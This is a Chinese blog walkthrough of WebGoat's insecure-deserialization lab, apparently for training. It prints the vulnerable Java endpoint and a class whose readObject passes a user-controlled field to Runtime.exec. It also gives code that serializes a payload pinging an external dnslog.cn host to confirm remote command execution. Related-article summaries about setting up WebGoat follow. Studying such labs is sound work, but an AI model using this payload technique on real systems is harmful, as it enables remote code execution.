代码审计之WEBGOAT 反序列化

article/2025/11/5 2:08:22

反序列化这关在前端页面可以看到是提交token到后端,先看一下接口名

在这里插入图片描述

可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

在这里插入图片描述

源码如下:

package org.owasp.webgoat.deserialization;import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;import java.io.*;
import java.util.Base64;@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBodypublic AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;b64token = token.replace('-', '+').replace('_', '/');try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {before = System.currentTimeMillis();Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) {if (o instanceof String) {return failed(this).feedback("insecure-deserialization.stringobject").build();}return failed(this).feedback("insecure-deserialization.wrongobject").build();}after = System.currentTimeMillis();} catch (InvalidClassException e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();} catch (IllegalArgumentException e) {return failed(this).feedback("insecure-deserialization.expired").build();} catch (Exception e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();}delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}

​ 可以看到大概就是对输入的token先base64解码然后输入到字节数组输入流中然后再接到对象输入流,并利用readObject进行反序列化操作得到对象o,然后判断该对象是否属于VulnerableTaskHolder类,如果不是则返回失败。如果是VulnerableTaskHolder类则继续往下走。所以我们应该就是重点关注VulnerableTaskHolder这个类,看看其是否重写了readobject方法。

package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}}

果然是重写了readobject方法,那么我们看看是否存在命令执行的点。可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的。

再看看这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间,太好了,那这个变量我们就不用管了,我们重点关注的是taskAction变量,taskName变量是啥都无所谓。

分析了类成员变量的作用后,现在我们就要构造payload了,如下所示

VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ***.dnslog.cn");

然后对其进行序列化并编码为base64

ByteArrayOutputStream bOut = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(bOut);
objOut.writeObject(vuln);
String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
System.out.println(str);
objOut.close();

我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}// 重点如下,payload构造public static void main(String[] args) throws Exception {VulnerableTaskHolder vuln = new VulnerableTaskHolder("qwq","ping ep0eg7.dnslog.cn");ByteArrayOutputStream bOut = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(bOut);objOut.writeObject(vuln);String str = Base64.getEncoder().encodeToString(bOut.toByteArray());System.out.println(str);objOut.close();}}

执行后结果如下

在这里插入图片描述

将如上代码输入表单提交,成功rce

在这里插入图片描述


http://chatgpt.dhexx.cn/article/wvmFinuT.shtml

相关文章

kali搭建webgoat靶场

下载webgoat-server-8.0.0.M26.jar与webwolf-server-8.0.0.M26.jar&#xff0c;并保存至kali的documents处&#xff0c;并在此打开终端&#xff08;不然无法打开&#xff09; 打开webgoat-server-8.0.0.M26.jar 浏览器访问127.0.0.1:8080/WebGoat/login.html 进行注册且登录 成…

基于 WebGoat 平台的 SQL 注入攻击

基于 WebGoat 平台的 SQL 注入攻击 扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211 使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html 目录 1、什么是 webgoat? 2、jar 下载 3、环境搭建 4、运行 webgoat 5、在浏览器中登录 …

owaspbwa之WebGoat

简介 下载&#xff1a;https://sourceforge.net/projects/owaspbwa/files/ GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide 0x001 侦查 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protoc…

WebGoat之JWT部分攻略

环境搭建 使用docker容器搭建webgoat环境 什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的&#xff0c;特别适用于分布式站点的单点登录&#xff08;单点登录SSO&#xff1a;在多个应用系统中&…

Webgoat靶场搭建

环境 jdk16 安装 文件源码看评论区哈。 下载过后是这个jdk-16.0.2.7z文件&#xff0c;这是个JDK16的包,进入bin目录下&#xff0c;可以看到靶场文件&#xff0c; 启动网站 打开一个cmd窗口执行启动网站命令 java --add-opens java.base/sun.nio.chALL-UNNAMED --add-op…

WebGoat通关教程

这里我们用docker镜像一键搭建即可 用docker命令开启webgoat docker run -d -p 8081:8080 -p 9090:9090 -e TZEurope/Amsterdam webgoat/goatandwolf 打开192.168.109.131:8081/WebGoat和192.168.109.131:9090/WebWolf能打开即可 192.168.109.131是本地IP 直接注册一个账号&…

在Ubuntu环境下使用docker配置webgoat环境

1.安装Docker环境 sudo apt install docker.io 2.配置Docker加速 打开配置文件 vim /etc/docker/daemon.json添加mirrors信息 {"registry-mirrors":["https://registry.docker-cn.com","http://hub-mirror.c.163.com"]}3.重启docker system…

WebGoat General Crypto Basics

目录 第2页 第3页 第4页 第6页 第2页 这一页是讲base64编码和Basic Authentication的 简单来说Basic Authentication中使用了base64编码&#xff0c;以本页的题目举例&#xff0c;如果有个HTTP头长这样 Authorization: Basic ZmFuY3llbGU6c2VjcmV0 那这个网站就是用了Basi…

docker安装webgoat

docker安装webgoat 一般来说 无需docker&#xff0c;在 https://github.com/WebGoat/WebGoat/releases中&#xff0c;下载最新的v8.2.2.jar,然后java -jar webgoat-server-8.2.2.jar然后反问http://127.0.0.1/WebGoat即可 但是&#xff0c;由于本人windows主机(java10.0.2)和ka…

WebGoat-8.2.2版靶机学习总结

摘要&#xff1a;本文档介绍了WebGoat靶机平台在Windows10系统下的使用。其操作过程均在一台主机上完成。该平台涉及的训练项目有http代理、数据库注入、身份校验缺陷、XSS、访问控制缺陷、通信拦截、序列化问题、CSRF、问题组件等内容&#xff0c;帮助学习者学习网络攻防基础&…

WebGoat安装

WebGoat是运行在Java虚拟机的WEB漏洞实验靶场,可以提供包括跨站点脚本攻击(XSS),访问控制,线程安全,操作隐藏字段,操纵参数,弱会话cookie,SQL盲注,数字型SQL注入,字符串型SQL注入,web服务、Open Authentication失效,危险的HTML注释等多个漏洞练习. 使用WebGoat的方式有很多,我…

WebGoat v8.0打靶笔记

目录 一、环境的配置 &#xff08;1&#xff09;安装docker &#xff08;2&#xff09;WebGoat获取 &#xff08;3&#xff09;burp suite的配置 二、Introduction 三、General &#xff08;1&#xff09;HTTP Basics &#xff08;2&#xff09;HTTP Proxies &#…

安装WebGoat步骤

安装Webgoat步骤 安装目的&#xff1a;了解并深入目前安全行业的OWASP ten 10漏洞 何为Webgoat? Webgoat内置OWASP十大漏洞 安装过程 下载webgoat架包 地址 创建一个文件夹&#xff0c;将上面框出的架包复制到文件夹里 检测JAVA环境 使用之前得先把Java的版本升级一下…

WebGoat部分题目

一、文件上传漏洞 1、跨目录脚本执行 上传的脚本文件在网站存放上传文件的目录下被限制执行&#xff0c;于是我们把上传的脚本文件放到根目录去执行。 靶场情况&#xff1a; 如上图所示&#xff0c;假设的根目录为C:\Users\Administrator/.webgoat-2023.4/PathTraversal &am…

linux部署webgoat

文章目录 程序包准备上传部署 程序包准备 github上下载程序包&#xff0c;如果太慢可以点击 下载webgoat-server-8.2.2 .jar 上传部署 将包上传到服务器上&#xff0c;需要说明该包依赖java环境且对java版本要求较高&#xff0c;我们这里是用java17进行部署&#xff0c;需要…

WebGoat靶场搭建及通关记录(一)

文章目录 前言一、搭建靶场二、通关攻略1.GeneralHTTP BasicsHTTP Proxies 2.Injection FlawsSQL Injection (advanced)SQL InjectionSQL Injection (mitigation)XXE 3.Authentication FlawsAuthentication BypassesJWT tokens 总结 前言 搭建WebGoat靶场&#xff0c;以前没玩…

WebGoat安装配置

WebGoat安装配置 WebGoat是由OWASP维护的故意不安全的Web应用程序&#xff0c;旨在教授Web应用程序安全性课程。该程序演示了常见的服务器端应用程序缺陷。 这些练习旨在供人们学习应用程序安全性和渗透测试技术。 要从源码安装并运行WebGoat需要运用到许多工具&#xff0c;并…

webgoat

Webgoat挑战刷关&#xff1a; 第一关&#xff1a; 提示&#xff1a;Admin管理员丢失密码 一开始想到爆破&#xff0c;后面发现太蠢了有点。。。万一人家的密码设置的稍微有点复杂&#xff0c;那我这老年机还不跑废了啊。 然后我想着用sql注入的万能密码&#xff1a; 发现也给…

WebGoat通关攻略

目录 前言一、环境配置1.Docker配置2.WebGoat获取3.WebGoat连接 二、通关攻略&#xff08;建设中&#xff09;1.Introduction1)WebGoat2)WebWolf 2.General1)HTTP Basics2)HTTP Proxies3)Developer Tools4)CIA Triad5)Crypto Basics 3.Injection1)SQL Injection(intro)2)SQL In…

webgoat全关教程手册

Webgoat&Webwolf owaspbwa里面的两个服务 搭建 先要安装jdk、Webgoat和Webwolf Webgoat和Webwolf jdk1.8不支持了&#xff0c;需要安装jdk11 去git上下载Webgoat和Webwolf https://github.com/WebGoat/WebGoat/releases/tag/v8.0.0.M26 去oracle官网下载JDK https:/…